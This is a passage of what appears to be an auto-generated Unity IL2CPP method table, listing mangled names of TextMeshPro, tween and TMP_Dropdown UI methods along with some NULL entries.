TextMeshPro_UpdateEnvMapMatrix_m85ECB9C9F9BE379982CE64FC814A36B338060E1F,
TextMeshPro_SetMask_m88A4C3AB9A50C4A54E20030E6C13899A01CF8443,
TextMeshPro_SetMaskCoordinates_m892E763E92E5E5DED0EC610A16A4FCCDD447F40D,
TextMeshPro_SetMaskCoordinates_m7CB4750ABC78278B40DE77342ABD2D02D9F931BC,
TextMeshPro_EnableMasking_mAA4AD6CD94E45D033817486638BD4F0ED6B1E056,
TextMeshPro_DisableMasking_m51B9768DECE33C8E84FE0BEC40AC1A872C3A93FE,
TextMeshPro_UpdateMask_m0DC0BD7B23520E3980306B01C17D21C2E53FD476,
TextMeshPro_GetMaterial_m7EE039E42CD673DCCF3C7EA8C334842FAB2A358F,
TextMeshPro_GetMaterials_m106D2B8EA87AFCEDA5889C3ED9D2173E4521DEAC,
TextMeshPro_SetSharedMaterial_m73380C05E2FF59D1A5C1563541F1340988D2AEC8,
TextMeshPro_GetSharedMaterials_m9F4B35F7947C0564074B9B3CB36EC70CEAF6FB52,
TextMeshPro_SetSharedMaterials_m0FB019F8C55D0A5D5812AD500FC74182F862DCAB,
TextMeshPro_SetOutlineThickness_mEF32508CB6771185D243E2F04BABA73B9B45226B,
TextMeshPro_SetFaceColor_m19E6DB372523664B314BBF8A3B0FA7BBE7C52BF7,
TextMeshPro_SetOutlineColor_mB71099D9A168FB2956E9983E324DC76ECC5E7C5D,
TextMeshPro_CreateMaterialInstance_m60E579A5964E977F66A0E7C56BB7FA86D1780094,
TextMeshPro_SetShaderDepth_mBA26AEBB2FD4040C02A10E74A5CB8CA5697CA781,
TextMeshPro_SetCulling_mA51D5BAD4DEA2A00C8AC7388A3277161CBCF1C20,
TextMeshPro_SetPerspectiveCorrection_m6AF6ECDB7FCC9E45F4AC1AF6B0F76EEF1FEDF827,
TextMeshPro_SetArraySizes_mA31A609B7368CFB3D7A42F67DE6F3E450F11D0EC,
TextMeshPro_ComputeMarginSize_mF595014F36FD313F4552F91FCCEB32B6CF38275D,
TextMeshPro_OnDidApplyAnimationProperties_m3951CDAD2B420D110042E6F2E4C8F9DB641AC652,
TextMeshPro_OnTransformParentChanged_m13B32E506A0BD3041D6024988C029386EF65C82E,
TextMeshPro_OnRectTransformDimensionsChange_m54E70A1F06C19D4A8CEF6EB8A3A130ACD45F7EB2,
TextMeshPro_InternalUpdate_mACA7A0E963E587E3678586D0AF79A14EF7D65A20,
TextMeshPro_OnPreRenderObject_mEDEAC1CC6D8C7AFEA948F713910E910F8FE301C1,
TextMeshPro_GenerateTextMesh_m92A3D91D20D8BB4E46C2E9E305EE4207B1B2A1DD,
TextMeshPro_GetTextContainerLocalCorners_m28DCECBF011AEEE457382B1ACF989366B7E51844,
TextMeshPro_SetMeshFilters_m8F9CE41507555B248CBB176E3E19B905AF497BAB,
TextMeshPro_SetActiveSubMeshes_mD13EDA99249DB1756900267DFD6A3D1D72FBADAA,
TextMeshPro_SetActiveSubTextObjectRenderers_m84A606F6A82904D9EB5F92DAB05E1D7AF725CB6A,
TextMeshPro_DestroySubMeshObjects_mD556C6CAB0FD455BC8BE7390BEEAF6C39B0873DE,
TextMeshPro_UpdateSubMeshSortingLayerID_m63C46E43CFC2E1FEE48D6B48170DF3267E4BDF11,
TextMeshPro_UpdateSubMeshSortingOrder_mDD41BBD341BA493B30022CC8930025BEB85070EC,
TextMeshPro_GetCompoundBounds_m260ABC99A7A361F587BA40E99CE77B0F4402DFA9,
TextMeshPro_UpdateSDFScale_m83845259E62DB13544143A11EF2089E03BE0D96C,
TextMeshPro__ctor_mF12CEBF1FB86BE922890B59AD288B3F3BFC4AB0A,
TextMeshPro__cctor_mB615DB9E50DAD037CA84B26C1851F35C827067B1,
TextMeshProUGUI_get_materialForRendering_mCB8AB4D6211E94B4A910E547A435BEDC8B5AA483,
TextMeshProUGUI_get_autoSizeTextContainer_mFB1F26E61C6D873940BE188D1E8B8C35324237C2,
TextMeshProUGUI_set_autoSizeTextContainer_m2E04DBDF79EF2A70A84DC27204410F642A8F7E57,
TextMeshProUGUI_get_mesh_m9D7580B03E695D83EE9A7DB4B63CE0C570B4F404,
TextMeshProUGUI_get_canvasRenderer_m74291CFD17F47B70F21F49C93058D2756A521887,
TextMeshProUGUI_CalculateLayoutInputHorizontal_m96BF3C6C61F9B47F1C984A85921266E188151198,
TextMeshProUGUI_CalculateLayoutInputVertical_m478DA445BEBEFD266F26B53B172A415F11EA0D4E,
TextMeshProUGUI_SetVerticesDirty_m08925B150A0C61A9E62D6312094BEE4F2A085B35,
TextMeshProUGUI_SetLayoutDirty_m7B98DD726DC1F539A829660218629BDCBC5D6EFE,
TextMeshProUGUI_SetMaterialDirty_m34D20F8ED0CEF3D4F335BA53CDFBA22D3638E24F,
TextMeshProUGUI_SetAllDirty_mBCABE23045A171B70D7C8AA1E9D0E197B24A9921,
TextMeshProUGUI_DelayedGraphicRebuild_m4FD11E5C4B9F5E1DFE4D361C78CDC849F7D53F8E,
TextMeshProUGUI_DelayedMaterialRebuild_m3D156CF49F99C2239E74AEC027473359A715397E,
TextMeshProUGUI_Rebuild_m81A0BB63EF4D157FB9DF14184DF198DAEC24A50D,
TextMeshProUGUI_UpdateSubObjectPivot_mF5A9ADE5A239AFC6C34BFC02FDE622DE14EAAF41,
TextMeshProUGUI_GetModifiedMaterial_mF485112E8CD8B5466BC6F3F5C9EBB195B9DED181,
TextMeshProUGUI_UpdateMaterial_m9342D18203EC31AF43B1F2FD179409825C9E246A,
TextMeshProUGUI_get_maskOffset_m8B38AEB61B68ED587044250886FB3C3E6327711E,
TextMeshProUGUI_set_maskOffset_m4556A74663F0603718E533AD6469D5D2062D5814,
TextMeshProUGUI_RecalculateClipping_m6D9CD29782F2306FA411BE914F45C6E02D2438BA,
TextMeshProUGUI_Cull_m28722BE62117D8666B334C1D98B0FDA31C801297,
TextMeshProUGUI_UpdateCulling_mBBCAFB8FF0E605AA916782D723F605C7C5790E0F,
TextMeshProUGUI_UpdateMeshPadding_mAD9B5590BB1C07BD9F26F9ACF31E3AD7D0375D52,
TextMeshProUGUI_InternalCrossFadeColor_mCAC46A6435D3D73F8138A4DF4125AF63D6197E93,
TextMeshProUGUI_InternalCrossFadeAlpha_m8F1403C1E5A7F3CC52DF054A11189D8E14353C63,
TextMeshProUGUI_ForceMeshUpdate_mB5BCD2205BC620DC7AC4F00D7F21104D65FB90DE,
TextMeshProUGUI_GetTextInfo_m0DF7D8487C0203268A4C62A67E1C4B7589ACC17E,
TextMeshProUGUI_ClearMesh_mE803C85017AAA2E8F6C47661A7F59078C83D7D73,
TextMeshProUGUI_add_OnPreRenderText_m1F3D640166C47D5E8AC83392022A7A76F252882D,
TextMeshProUGUI_remove_OnPreRenderText_m5580AE95B7FCDF054DCB9F30D545CD60B5F40049,
TextMeshProUGUI_UpdateGeometry_m7877CE2E695637CFD480AF6D3A144A96F4B8DEAD,
TextMeshProUGUI_UpdateVertexData_mAFE22C7EF036C51A5DABECD97AA3294963B17B8A,
TextMeshProUGUI_UpdateVertexData_mDCD835F9897D4A1D1C3299F8610E10AAF9693621,
TextMeshProUGUI_UpdateFontAsset_m5A9C9C239F67AD02E0EE52BDDBBCA6B747AD5B3B,
TextMeshProUGUI_Awake_mE225DF2C3511625374A16201302F4A8AD2A72B26,
TextMeshProUGUI_OnEnable_m192C5020191F6DE0CDFD8D91BB1518496E841E98,
TextMeshProUGUI_OnDisable_m55A5E45BD3538FECB646D245F23223C33C9C6CEE,
TextMeshProUGUI_OnDestroy_mF6F5098912944CBAEE8F9162CBC8513B6FCB4DCB,
TextMeshProUGUI_LoadFontAsset_mD79574232A722B157F79A7D1430115829107B0D9,
TextMeshProUGUI_GetCanvas_mA62DCDC49EF734C76E2DCC33373AE38485267B07,
TextMeshProUGUI_UpdateEnvMapMatrix_mBB9F3DBD385A9CF38674F27B1265FEF0214A3BDB,
TextMeshProUGUI_EnableMasking_m825DABEA53C5743CE0B4D896476BCB8B4D23CCA5,
TextMeshProUGUI_DisableMasking_m00E17B3141C80A2A15A8CF42FB9919563FBC9317,
TextMeshProUGUI_UpdateMask_m35565EC9D9C802C94BE4694B5B340B2B4577EF44,
TextMeshProUGUI_GetMaterial_m2A3E0BA6B812DEF61F0FB90E9FC0D6C4BDCEBA0A,
TextMeshProUGUI_GetMaterials_m4C0D6622FD2BD30E4CE5F868F1CFDB64C1C1403D,
TextMeshProUGUI_SetSharedMaterial_m9F64130FA72B17A58824E3A40980C92013F4E0EB,
TextMeshProUGUI_GetSharedMaterials_mFC9F284B9D0F7588F7FBDCB8C98B221DCF8660F6,
TextMeshProUGUI_SetSharedMaterials_m0E33EE522DBE0E2BA8464C455A9663327F9E34ED,
TextMeshProUGUI_SetOutlineThickness_m1819530A5C28F978C80D6BA614595D900099D897,
TextMeshProUGUI_SetFaceColor_m6A655C7FF042096CC71D943BCAFB98A42036EE1B,
TextMeshProUGUI_SetOutlineColor_mFCA7A6D7F2BA52DB12239F9051D2BDF40F92ADA8,
TextMeshProUGUI_SetShaderDepth_m7A017149B97BAD6B9618750C0976729BD4740A70,
TextMeshProUGUI_SetCulling_m62AF94911CBF89A8ADDA8A21CEE391ED756360EF,
TextMeshProUGUI_SetPerspectiveCorrection_mF547B8584EC083BAE1D3EFBD22CC5D9D78EDC48F,
TextMeshProUGUI_SetMeshArrays_mBB3809698124A9B2B65A4F57954CEFA790568C2A,
TextMeshProUGUI_SetArraySizes_mAE0F66585903F33A1056D130213B5680D0951D42,
TextMeshProUGUI_ComputeMarginSize_m0647B2989C0A1098FFCCB9EA66810DAAE6C2E0D5,
TextMeshProUGUI_OnDidApplyAnimationProperties_m8ADE42C6DD519A08609CB526A983561DBACB7266,
TextMeshProUGUI_OnCanvasHierarchyChanged_mDF06442735F795DA1A2CEBF42542EF352A0AC2D4,
TextMeshProUGUI_OnTransformParentChanged_m7B078BE5B1E69D3CA642D32F15204E7A7D2D7825,
TextMeshProUGUI_OnRectTransformDimensionsChange_mE7B272E5EF1538872749F01C82CD28D4352F37FC,
TextMeshProUGUI_InternalUpdate_mEA820FAC0E9C659AC8198ABD63AC8515FC2EEC75,
TextMeshProUGUI_OnPreRenderCanvas_mD208EA1BBA9D3A10B255322BABED2056A83BA2FC,
TextMeshProUGUI_GenerateTextMesh_m542C2DC0CA489C10BB3371B0114CD9ACED4E97D3,
TextMeshProUGUI_GetTextContainerLocalCorners_m2D6D185BC85A20431398BEC3EC258EBBD7D7C6AE,
TextMeshProUGUI_SetActiveSubMeshes_m85AACB4166A13ACDC7E0F944BD37E1C771A90716,
TextMeshProUGUI_DestroySubMeshObjects_mBE2D8860515389A8AC3FDC37D184B03E38186F23,
TextMeshProUGUI_GetCompoundBounds_m74366E456D195D8D2FEBB1E85D0FE5DCE4105DF0,
TextMeshProUGUI_GetCanvasSpaceClippingRect_m1E7125B754E5B3935318B425847952E705DD5B6F,
TextMeshProUGUI_UpdateSDFScale_m357367AFC5B9A2EBD11FA3C4D7FC99C5208044AE,
TextMeshProUGUI__ctor_m3733FC98975BAD7C96BA932B8BE6A63602BA83B3,
TextMeshProUGUI__cctor_m2640D093CD02847299314CFD387706497B1D2525,
U3CDelayedGraphicRebuildU3Ed__18__ctor_mCAB88DA6910047EF7A9FA188F4CF1F1EA42A858B,
U3CDelayedGraphicRebuildU3Ed__18_System_IDisposable_Dispose_m4BEB7CF8BAD78596B1C1FC7359A791492F8EA33F,
U3CDelayedGraphicRebuildU3Ed__18_MoveNext_m0B62B0E98E2F3A3DA9A316759B3D76181ED512AF,
U3CDelayedGraphicRebuildU3Ed__18_System_Collections_Generic_IEnumeratorU3CSystem_ObjectU3E_get_Current_m7A1891BD230605BA6BA156CAE8857BD6413AFEAA,
U3CDelayedGraphicRebuildU3Ed__18_System_Collections_IEnumerator_Reset_m251AEA2015F485A8BA72E4B5ED787AE5224DC4DE,
U3CDelayedGraphicRebuildU3Ed__18_System_Collections_IEnumerator_get_Current_m87FE04FA504B5B9B9606E2447830CBD06986DFF8,
U3CDelayedMaterialRebuildU3Ed__19__ctor_m6351B5737E3B2ADA60C28688744DE4FA2541606E,
U3CDelayedMaterialRebuildU3Ed__19_System_IDisposable_Dispose_m2EF3A18F3B761153309EDC6D2AE1C3457515C1CF,
U3CDelayedMaterialRebuildU3Ed__19_MoveNext_m9F6CEA5597DFFDA1AF6344B784640145736FFD68,
U3CDelayedMaterialRebuildU3Ed__19_System_Collections_Generic_IEnumeratorU3CSystem_ObjectU3E_get_Current_mBCB103321A5F41C5119C356DF074BBEE78D2A19E,
U3CDelayedMaterialRebuildU3Ed__19_System_Collections_IEnumerator_Reset_m601E654D1F099331AA189E94AB46DE1A332A2559,
U3CDelayedMaterialRebuildU3Ed__19_System_Collections_IEnumerator_get_Current_m81AC91995AC85EEE6EC8E360A3D6D1BA49EF9714,
TMPro_EventManager_ON_MATERIAL_PROPERTY_CHANGED_m48C2420BAB8E69E646AABC62AA5BC7CF7E33CE51,
TMPro_EventManager_ON_FONT_PROPERTY_CHANGED_m79736CA0F73AB1A3160CF9575ACA078491C76D7D,
TMPro_EventManager_ON_SPRITE_ASSET_PROPERTY_CHANGED_m3A5B0BF1CD030269CEA0079765A3E9246C18D6FB,
TMPro_EventManager_ON_TEXTMESHPRO_PROPERTY_CHANGED_mBF1CA46C3651FDA654686CB23634AAEECE9B5AD7,
TMPro_EventManager_ON_DRAG_AND_DROP_MATERIAL_CHANGED_mD9CB5FCFB18F27F97297663959CDBF743B6F7B04,
TMPro_EventManager_ON_TEXT_STYLE_PROPERTY_CHANGED_m60D5B80B0A3F43702409EA20B826D32DEE33E164,
TMPro_EventManager_ON_COLOR_GRADIENT_PROPERTY_CHANGED_mD4CB585E43FA4DEB726D54534767C3386351F80E,
TMPro_EventManager_ON_TEXT_CHANGED_m23BFEDDA79D858AFD1D4A1DF228941DC7A3D158D,
TMPro_EventManager_ON_TMP_SETTINGS_CHANGED_m6331734621D19E64223E7FA72AE7F6F03DC40930,
TMPro_EventManager_ON_RESOURCES_LOADED_m8D790BFE1757A19F421EE1B15AD50BC9180A25A0,
TMPro_EventManager_ON_TEXTMESHPRO_UGUI_PROPERTY_CHANGED_m24D4B6D95AED283B0578E52F072C8DC1378DBA76,
TMPro_EventManager_ON_COMPUTE_DT_EVENT_m0A5CA6BB2BCBE292E78FBC029D4F7F04E1C098E4,
TMPro_EventManager__cctor_m792FCAFB04ACE9E76E635A4601322F6F6AEA6F1D,
Compute_DT_EventArgs__ctor_mFB724195485EB6D002C77F0B2262A5F94835A28D,
Compute_DT_EventArgs__ctor_m9834D9D98042FC8AC11B9B6A834BFEDB3ED2BFFF,
TMPro_ExtensionMethods_ToIntArray_mEC4ECB06EDFB4EDFDFA3B3F6BC33F15479726EA0,
TMPro_ExtensionMethods_ArrayToString_mA4841CB489967FA4827657B5D50825D0D031210C,
TMPro_ExtensionMethods_IntToString_mE8F379EC28EEB8B270A253BECA2AF3BFDBEEE5A6,
TMPro_ExtensionMethods_UintToString_m4DA616421142C9A6214111F89D366914143B2ECC,
TMPro_ExtensionMethods_IntToString_m8AC3551DE2D6CC03F05F218356BA51EA19CB1453,
NULL,
TMPro_ExtensionMethods_Compare_m6CE530D8A0BD1FA2D9C935CB2D5C4AC3EECA2B72,
TMPro_ExtensionMethods_CompareRGB_m24459998B4B8FD09C4A504BFDA186A0566D8D321,
TMPro_ExtensionMethods_Compare_m02D27D5E15956DB8F490877FA716840F9DB96246,
TMPro_ExtensionMethods_CompareRGB_m3CAD906B0604075C4075D935AE7FFD0E9A9B418C,
TMPro_ExtensionMethods_Multiply_mC7A14CD67A219A82BEAC77845823C887355D2127,
TMPro_ExtensionMethods_Tint_mCAA591906B5D62CF1DBBE7BDA1B8260154120020,
TMPro_ExtensionMethods_Tint_m5DA2EA8D3C7DFF5FC493CE93D07C3FC039A07133,
TMPro_ExtensionMethods_MinAlpha_mB118608D99C2B0D181D08A34D62EBBD342D5A7B8,
TMPro_ExtensionMethods_Compare_mA7AB3A35D921F8014C17306CC64D6CFD8F215CA6,
TMPro_ExtensionMethods_Compare_mFC4E4CDEBF258A3DC7411E7E2395FE58739BF3F7,
TMP_Math_Approximately_m5433281D91C668DC50FE91CB6D79D7FFCB9657BB,
TMP_Math_Mod_mF02A7688DC20EAC76DD3DB37E18537D66153553E,
TMP_Math__cctor_mBD4619AD5E6B640F7B15B379EE141DB2FD7B60DD,
VertexGradient__ctor_m9B59D99E8B67833BD6CC50F4704614744D271C3A,
VertexGradient__ctor_m8FFAAFD98D0DC4F7C6D41410EF574A6600DCA40B,
TMP_LinkInfo_SetLinkID_m9E9A1B09A536609EC636A3F6D14498F70C6C487A,
TMP_LinkInfo_GetLinkText_m954EE8FF39D62BA8113773A696095EAE85CD5E3F,
TMP_LinkInfo_GetLinkID_mCC9D9E783D606660A4D15E0E746E1E27AD9C2425,
TMP_WordInfo_GetWord_m7F72AB87E8AB0FA75616FD5409A8F5C031294D2C,
Extents__ctor_m2C44BA0B2EDAAB80829698A019D2BBF8DDFF630B,
Extents_ToString_m947E31139C9C66B1F1942EF74B2FDE347A778F99,
Extents__cctor_mAD83D61EA6DC06C831C241B5923E3EF7E8B06F0A,
Mesh_Extents__ctor_m37E0BBEE5EED57082B82AC6162F7785B231907CB,
Mesh_Extents_ToString_m733F0275FC20FD2F4EE5B6E9ABBD6F3CD8D5AE23,
TMP_Asset_get_instanceID_mD7D5D79979B77457C3A376955C316AC289BB3D1D,
TMP_Asset__ctor_m12FF90A96AD41AEDF9AD37175E7070FAC070D8E9,
TMP_Character__ctor_m16CBCDD3EB5695396E4C95A0876F2C4DD4500673,
TMP_Character__ctor_m79F49FBBC8657569BA621EFBF64A000BB1B56ED3,
TMP_Character__ctor_mAF0A895127F27795D515FF97C84185A01EFDAB0D,
TMP_Character__ctor_m7019F2E56EE1A654151F581F2293FBB2410E4775,
TMP_Vertex_get_zero_m558845D50A2857974D01F9DBE472958BFC4ACB02,
TMP_Vertex__cctor_mB236CFF83B30DC42216032ADEAB86EF9259271F6,
TMP_Offset_get_left_mCDC93F42B720817E1119AA5360962F038A39E044,
TMP_Offset_set_left_m6FF3BCE823654D55CC03B9202094E129A3891958,
TMP_Offset_get_right_m268492C5D14D1239A429A152ED04DD8790EC98C4,
TMP_Offset_set_right_m19952C4778E73F559E8229B5D1438766E4FF62F2,
TMP_Offset_get_top_m5BAE1A688A264A63524AD4C456CE88CB2086105E,
TMP_Offset_set_top_m5346213516D5B378349B70D61C4EE6BB25603DCC,
TMP_Offset_get_bottom_m71E985879E87F76BE28A0FB0485F279866279845,
TMP_Offset_set_bottom_m4FF1AE55CF113FD06678B22A8ED029F17A9019A8,
TMP_Offset_get_horizontal_m3BE3663354670CEA3945FD6EC7C6FD1A3F4E81F7,
TMP_Offset_set_horizontal_m38C3B111DD01790C98E91423FCEF6BE826826891,
TMP_Offset_get_vertical_mB6681568C4F9B09DCE4CBFFDC33F733DE7EFE149,
TMP_Offset_set_vertical_m16CC389B6E1291EA006498F0E739A05A5CD16ABE,
TMP_Offset_get_zero_mF8CE5DEC258B77B3697FB8C04EFAFACD04CBA10C,
TMP_Offset__ctor_mE88A176987DB6F468CA09553D74E86E1B48AA81C,
TMP_Offset__ctor_m5C1836C5751505F6A9E674C8CD7A6419F4BFDCA0,
TMP_Offset_op_Equality_m69BA2835453CA9BD35AC2DE792A29916D9E956A9,
TMP_Offset_op_Inequality_m0FF59F9929F79F4A7957AE7995D1CAC62EA3EE10,
TMP_Offset_op_Multiply_m7CBD5277BEB78C1209EB78CE3514824A18B3F4D6,
TMP_Offset_GetHashCode_mD43DEA54E08FF70C12AAB7FD40AC4310B81C1421,
TMP_Offset_Equals_m7D8B386EF75BA3B1F931F1F70AAB10FEFA6B17F4,
TMP_Offset_Equals_m1670D25215AB3B155D89F019D27286D294A9ECF0,
TMP_Offset__cctor_m9C97E3799A2CC10497CFAB122C01412FA9C52B78,
HighlightState__ctor_m25791146FF94DD76C2FAAAF47C1735C01D9F47B2,
HighlightState_op_Equality_m079807BBFB0171B565DB50BD48463813BD5DA6FD,
HighlightState_op_Inequality_m7CF3C9B51AF2D4113AD9CCF9D9F460DA8F04E2BD,
HighlightState_GetHashCode_m2BE4FEEDFCB6713FA9C10C2D3B93E938E011C985,
HighlightState_Equals_m0317881F19561A64B9016A27C306FDB77460D165,
HighlightState_Equals_mFC0B5D3A36F1CB24FFDC21F6C238184D43324825,
TMP_ColorGradient__ctor_m16EACE29FFBC9D027D21703EE927AEE4C370EF8A,
TMP_ColorGradient__ctor_m60AB4FD600B132618C4DED1BDE0864E7C8CBAC14,
TMP_ColorGradient__ctor_mD73E13202AFB41FB9171358320B28DEF6F1162A4,
TMP_ColorGradient__cctor_m60566DBA3AEB542E63D3D68C6933D9EE59334AFA,
TMP_Compatibility_ConvertTextAlignmentEnumValues_mEA881E97B09CBDCB1A7937E7D1329A631E95BF26,
NULL,
NULL,
NULL,
NULL,
ColorTween_get_startColor_mC3CD44E2CCEF5BB78ED52759D570B1B6855CBBCC,
ColorTween_set_startColor_m01FB2C14DD0139433F9EBCF39A286AE064B8A2FB,
ColorTween_get_targetColor_m26BAA4AAA09E6FD3E79F35C51170C32889919446,
ColorTween_set_targetColor_m24EB21B05BDCC21A4178DEB116962BE18B361B27,
ColorTween_get_tweenMode_m9194D120345334B358FA8487E98C75FDD8F8355B,
ColorTween_set_tweenMode_mB2A52A753B322F14EEF3A1C17B0CC51EB5210035,
ColorTween_get_duration_m2C26D45A626E334E9EECD575CCA45B55945736D3,
ColorTween_set_duration_m0C781971A9EE23189EA02A2835731918680957F0,
ColorTween_get_ignoreTimeScale_m008715D2A64C9FC6419C9D71A7030F8710ABA6AE,
ColorTween_set_ignoreTimeScale_mDC7F5B7E7EDF149304E8139C64712462DAB8D40D,
ColorTween_TweenValue_m43ED566CB5FA4818535832C2ECFFCFEAAE7FFE8E,
ColorTween_AddOnChangedCallback_mF9FE28A71E2818B2C25D79B9272E838034B5A4E4,
ColorTween_GetIgnoreTimescale_m502CC5CF9B974F7F564316687E61A16E8CF038F7,
ColorTween_GetDuration_mC929D8E88C9C230CE6A0EAE684B84CA08CFAA615,
ColorTween_ValidTarget_mFA6997930396ACBF53FCDFBDC457FC3C63AE90D7,
ColorTweenCallback__ctor_m8723485C32B5BEAF1EBC7F4A7078FB90BDCF1AB4,
FloatTween_get_startValue_mE12446AD7FA5B7816124ADFF1FF7959A3B6ACF1B,
FloatTween_set_startValue_m1E04EA68FFEE3AA1553B194D0F82C32815E2C718,
FloatTween_get_targetValue_m2FA9DBB4C75BFD36E2A9DE57522CAA25D9F44FF2,
FloatTween_set_targetValue_mE110CBA03582B01B96766AE53F2DDD3C2D4DE131,
FloatTween_get_duration_mE71CD40934ED69FDD7CDA8D5438E9897E6E9FE7A,
FloatTween_set_duration_mF59D55C5F70E037AF88A6191D282D404C532D613,
FloatTween_get_ignoreTimeScale_m8FE31080B4800A6CFB89918E0803BB1BE21FDA4B,
FloatTween_set_ignoreTimeScale_m53B7945E5B54998B9BC28E7508E94D3A8205C10A,
FloatTween_TweenValue_m022D385B013439E2FB8020F6A6BD329CECA81E89,
FloatTween_AddOnChangedCallback_m2DCB737D223D6345503A9DA057D7935F9C3A5AD6,
FloatTween_GetIgnoreTimescale_mB13FC7DCC241FCF2C9EC10D8AF8A9B6103F9B420,
FloatTween_GetDuration_m4F4E336D66A32D1F051E0EF2B1513F05EC3BF349,
FloatTween_ValidTarget_m4591FB5DBEE8762554B97A09B232893EE754D7DF,
FloatTweenCallback__ctor_m93E614F36DA9484D40A5286A7EB4220220A25F00,
NULL,
NULL,
NULL,
NULL,
NULL,
NULL,
NULL,
NULL,
NULL,
NULL,
NULL,
TMP_DefaultControls_CreateUIElementRoot_mB48F61A62CBA616BB699052B73EB03D90A3979F0,
TMP_DefaultControls_CreateUIObject_m734199C8C08553C1FC725A958B17A1A11DE7A765,
TMP_DefaultControls_SetDefaultTextValues_mDD66853F8B9F601A850D19E664C134067C7887AE,
TMP_DefaultControls_SetDefaultColorTransitionValues_m37B34B13FB508737733A214ABA4A4B7E920B41E7,
TMP_DefaultControls_SetParentAndAlign_m49504B349B9767BA0C3ED5D574B68838DB92544C,
TMP_DefaultControls_SetLayerRecursively_mC41476261A5CC225DE7FE9BA8B1225FFE1E1D58F,
TMP_DefaultControls_CreateScrollbar_m6E0D7DC68D4F801076674F5BB5801BC2358316CB,
TMP_DefaultControls_CreateButton_m4ED27E0D56E70190F7507361E6EC0952AC48B3E7,
TMP_DefaultControls_CreateText_m898FCFC57E75DD825128E5C7CAA0E19498ADC37B,
TMP_DefaultControls_CreateInputField_mD6E33BEB7C6DB045AA7C2FB1B907D8ADB607378A,
TMP_DefaultControls_CreateDropdown_m1182D5C2B73116B97CFC03E10ED04DE6182F2E08,
TMP_DefaultControls__cctor_m50CAD9857FE3845ECBD94C5169C870077A479E28,
TMP_Dropdown_get_template_m6C77CA07D48383A133E8D7567E1CF909876BAE30,
TMP_Dropdown_set_template_mCA07B030A71D2E4D4C179B4E4E72568656A340BF,
TMP_Dropdown_get_captionText_mBC7B6DBEA095496F29EDA88E92F95E650B1BBC46,
TMP_Dropdown_set_captionText_m7050B2703E0A8C652571271C860004F0014BD464,
TMP_Dropdown_get_captionImage_mD946C03912041B698DD64BE58890CB30CD727308,
TMP_Dropdown_set_captionImage_m1AE6C5CF0660B3BF8C4A24DFF58E088C7CC67C19,
TMP_Dropdown_get_placeholder_m425453F7D24F908584DCC5BEB8CCB16D1E4A4B20,
TMP_Dropdown_set_placeholder_mA6502D4B0CDB70E1BF14B43FB468CF048929035B,
TMP_Dropdown_get_itemText_m0AAE4A304C3AC8132209E844C5303411DB3C1AFB,
TMP_Dropdown_set_itemText_mCC983B4A78E8C594E5C78BE1F8F8DBB067E3CA1B,
TMP_Dropdown_get_itemImage_mE0C2F6ED6A8338733F2A260939530BAB06DB576E,
TMP_Dropdown_set_itemImage_m41479EC2993BB2900024406EC39FDACC83DB808D,
TMP_Dropdown_get_options_mA543A0EFE4D1953E73C6F60ECA8CE177182571C5,
TMP_Dropdown_set_options_m4CD66EEEFDF53BAD9862AA2768F6048B2CA5B2AD,
TMP_Dropdown_get_onValueChanged_mC5A65068BFDC48C26FAC4B6FB2C0983633168BFF,
TMP_Dropdown_set_onValueChanged_m79F7EFB914F2FDD0747F0DF2338E100996B49ECE,
TMP_Dropdown_get_alphaFadeSpeed_m18A605C6E2AA4BA276BB7D8200718977530988DD,
TMP_Dropdown_set_alphaFadeSpeed_m61345D8CD279D16406067AEA81DC4CFE6DFDB073,
TMP_Dropdown_get_value_m5916A6D1897431E8ED789FEC24551A311D1B5C70,
TMP_Dropdown_set_value_m8362A866D571975FECFD1FE47D3C4D83559795BF,
TMP_Dropdown_SetValueWithoutNotify_m619A7D38D1EBCCA60EB1F5891FAD9FD0FB4839FD,
TMP_Dropdown_SetValue_m1E528A87C2B11DD84D0141D8C6D175EEFE26F202,
TMP_Dropdown_get_IsExpanded_mFCB1622385A1BBB05908C0C94D5751801B5512FC,
TMP_Dropdown__ctor_m5405D55FF150C4ED50322BA7B80E11E30096819D,
TMP_Dropdown_Awake_m056E49917C61BD2AE6779CB0AD5A8983D17AB8FB,
TMP_Dropdown_Start_m734BEF53026D3806A8E321B1E5DE53C340D28B16,
TMP_Dropdown_OnDisable_m10823C942F18754D85E6BB4C86A267D2D4B0F8B3,
TMP_Dropdown_RefreshShownValue_mF63797E989A9075B6E4CF767B2C4B55FBD23DFF8,
TMP_Dropdown_AddOptions_m0552A59BC909364951E1661FABADBC076715E4DD,
TMP_Dropdown_AddOptions_m6EB4E175FE6B5555BDC2C31EFBCC3B115DE85FF5,
TMP_Dropdown_AddOptions_m788BACF88AF7E1342CEE571AAC04EF86D72DDEDE,
TMP_Dropdown_ClearOptions_m9888C23BC3033268E5C2D8613C0854661E7BDEB5,
TMP_Dropdown_SetupTemplate_m3016B8C83713F451E88F3CBF008856BAB835F0EA,
NULL,
TMP_Dropdown_OnPointerClick_m008E7A23F525AF69BE769CE82695A8D07EE6EB39,
TMP_Dropdown_OnSubmit_mC64400DED5E54304BF98C84C4D4FB71B089CA49C,
TMP_Dropdown_OnCancel_m67E30490F0C9D41D7BDCF42DF1621DABADC14B32,
TMP_Dropdown_Show_m8A64194BE150E0774C66E69479A1699DBB6AA900,
TMP_Dropdown_CreateBlocker_m4048F0A0133E9DE795874056A9BBD8F58B6E947B,
TMP_Dropdown_DestroyBlocker_m2C9D955C6958C84AD323AC9E6193A07AE8212EA6,
TMP_Dropdown_CreateDropdownList_m3C853DEAA3D9F33653126E195B57D9F423064116,
TMP_Dropdown_DestroyDropdownList_mABF98A8706914CAFF13B3F6EB359F4F67E1E3FD9,
TMP_Dropdown_CreateItem_m6DBD654E30D5A7ABD668DE8651E554966D0A7191,
TMP_Dropdown_DestroyItem_mC0A868E6C60C5E1406E57B388FAFC1307C381A40,
TMP_Dropdown_AddItem_m1B768BFBFFE0E340BAD0141E2C3F90FFAE889EFA,
TMP_Dropdown_AlphaFadeList_mC7278768821D6B8FD28FC712E8DE85CA334E2104,
TMP_Dropdown_AlphaFadeList_m663AC38ACFC469DBDFFF025314B34E310D70FBB8,
TMP_Dropdown_SetAlpha_m2AF7CD832E68BA385496F4F70D291219B3668ED7,
TMP_Dropdown_Hide_m7FFE4A08B7370707BCE35A3EDD74373A1926E618,
TMP_Dropdown_DelayedDestroyDropdownList_m746DFE51A0D66199C34FA32CF81761FDF1BE5F9C,
TMP_Dropdown_ImmediateDestroyDropdownList_mFEE6CE2C3264546861C82E60CE4C61BA42559B98,
TMP_Dropdown_OnSelectItem_m9F1323DE41E23EFF4381C914BF1FCAA57F73C7AC,
